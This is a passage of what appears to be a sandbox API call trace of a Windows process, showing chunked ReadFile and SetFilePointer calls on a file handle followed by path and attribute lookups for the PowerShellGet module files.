dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x5e000 [0115.292] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.292] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x5f000 [0115.292] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.293] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x60000 [0115.293] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.293] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x61000 [0115.293] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.293] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x62000 [0115.293] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.293] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x63000 [0115.294] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.294] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x64000 [0115.294] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.294] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x65000 [0115.294] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.294] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x66000 [0115.295] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.295] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x67000 [0115.295] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.295] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x68000 [0115.295] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.295] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x69000 [0115.296] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.296] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x6a000 [0115.296] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.296] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x6b000 [0115.296] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.296] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x6c000 [0115.296] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.297] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x6d000 [0115.297] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.297] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x6e000 [0115.297] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.297] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x6f000 [0115.297] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.297] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x70000 [0115.298] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.298] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x71000 [0115.298] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.298] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x72000 [0115.298] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.298] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x73000 [0115.298] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.298] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x74000 [0115.299] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.299] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x75000 [0115.299] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.299] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x76000 [0115.299] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.299] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x77000 [0115.299] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.300] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x78000 [0115.300] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.300] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x79000 [0115.300] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.300] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x7a000 [0115.300] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.300] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x7b000 [0115.300] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.301] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x7c000 [0115.301] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.301] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x7d000 [0115.301] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.301] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x7e000 [0115.301] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.301] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x7f000 [0115.301] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.302] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x80000 [0115.302] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.302] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x81000 [0115.302] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.302] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x82000 [0115.302] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.302] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x83000 [0115.303] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.303] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x84000 [0115.303] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.303] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x85000 [0115.303] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.303] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x86000 [0115.303] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.303] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x87000 [0115.304] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.304] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x88000 [0115.304] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.304] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x89000 [0115.304] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.304] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x8a000 [0115.304] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.305] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x8b000 [0115.305] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.305] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x8c000 [0115.305] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0xaa9, lpOverlapped=0x0) returned 1 [0115.305] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x8caa9 [0115.305] ReadFile (in: hFile=0x3f8, lpBuffer=0x2604f05, nNumberOfBytesToRead=0x157, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x2604f05*, lpNumberOfBytesRead=0x59fd86c*=0x0, lpOverlapped=0x0) returned 1 [0115.305] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x8caa9 [0115.305] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x0, lpOverlapped=0x0) returned 1 [0115.319] CloseHandle (hObject=0x3f8) returned 1 [0116.404] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0116.405] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x55, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", lpFilePart=0x0) returned 0x54 [0116.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fd5c4) returned 1 [0116.405] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1"), fInfoLevelId=0x0, lpFileInformation=0x2ca4850 | out: lpFileInformation=0x2ca4850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499c9860, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8caa9)) returned 1 [0116.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fd5c0) returned 1 [0116.489] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0116.489] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0116.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fe3bc) returned 1 [0116.489] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2cc8d88 | out: lpFileInformation=0x2cc8d88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0116.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fe3b8) returned 1 [0116.542] EtwEventActivityIdControl () returned 0x0 [0116.544] SetEvent (hEvent=0x3f4) returned 1 [0116.544] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59feb9c*=0x3f4, lpdwindex=0x59fe9c0 | out: lpdwindex=0x59fe9c0) returned 0x0 [0116.545] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0116.545] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0116.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fea7c) returned 1 [0116.545] 